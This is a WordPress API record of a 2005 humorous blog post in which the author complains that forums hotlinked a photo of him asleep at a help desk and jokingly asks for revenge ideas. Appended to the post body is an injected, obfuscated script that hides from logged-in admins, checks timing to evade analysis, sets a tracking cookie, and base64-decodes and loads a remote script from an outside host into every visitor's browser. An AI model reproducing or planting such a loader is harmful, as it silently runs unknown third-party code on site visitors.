{"id":93,"date":"2005-06-30T09:30:03","date_gmt":"2005-06-30T13:30:03","guid":{"rendered":"http:\/\/www.callblog.net\/?p=93"},"modified":"2025-10-17T13:40:40","modified_gmt":"2025-10-17T17:40:40","slug":"help-im-trapped-on-an-argentinian-message-board","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/help-im-trapped-on-an-argentinian-message-board","title":{"rendered":"Help!  I&#8217;m trapped on an Argentinian message board!"},"content":{"rendered":"<p>Check this <a href=\"http:\/\/www.jedbangers.com.ar\/foro\/viewtopic.php?t=5684\">post at an Argentinian forum<\/a> out.  Scroll down to the post by <em>Maynard<\/em>.  There I am, pretending to sleep on my keyboard at the ol&#8217; HelpDesk. I only found out about it because the bastard hot linked to the picture.  Another forum post that I grace with my presence can be found <a href=\"http:\/\/www.newsdominica.com\/forum\/forum_posts.asp?TID=554\">here<\/a>.  The post is by a gentleman or lady who goes by the name <em>Turtle<\/em> and is captioned &#8220;The monday syndrom&#8221;.<\/p>\n<p>I&#8217;m trying to think of a good way to put those hot linkers in their place.  I suppose I could change the image to a message insulting Maynard&#8217;s mother, or make the image 17MB so the page just loads (basically) forever for everyone who looks at it.  I don&#8217;t really want to be too much of a nuisance because I think it&#8217;s pretty funny.  Does anyone have any spiffy ideas for revenge?  <script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Check this post at an Argentinian forum out. Scroll down to the post by Maynard. There I am, pretending to sleep on my keyboard at the ol&#8217; HelpDesk. I only found out about it because the bastard hot linked to the picture. Another forum post that I grace with my presence can be found here. [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-93","post","type-post","status-publish","format-standard","hentry","category-funny"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/93","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=93"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/93\/revisions"}],"predecessor-version":[{"id":844,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/93\/revisions\/844"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=93"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=93"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=93"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}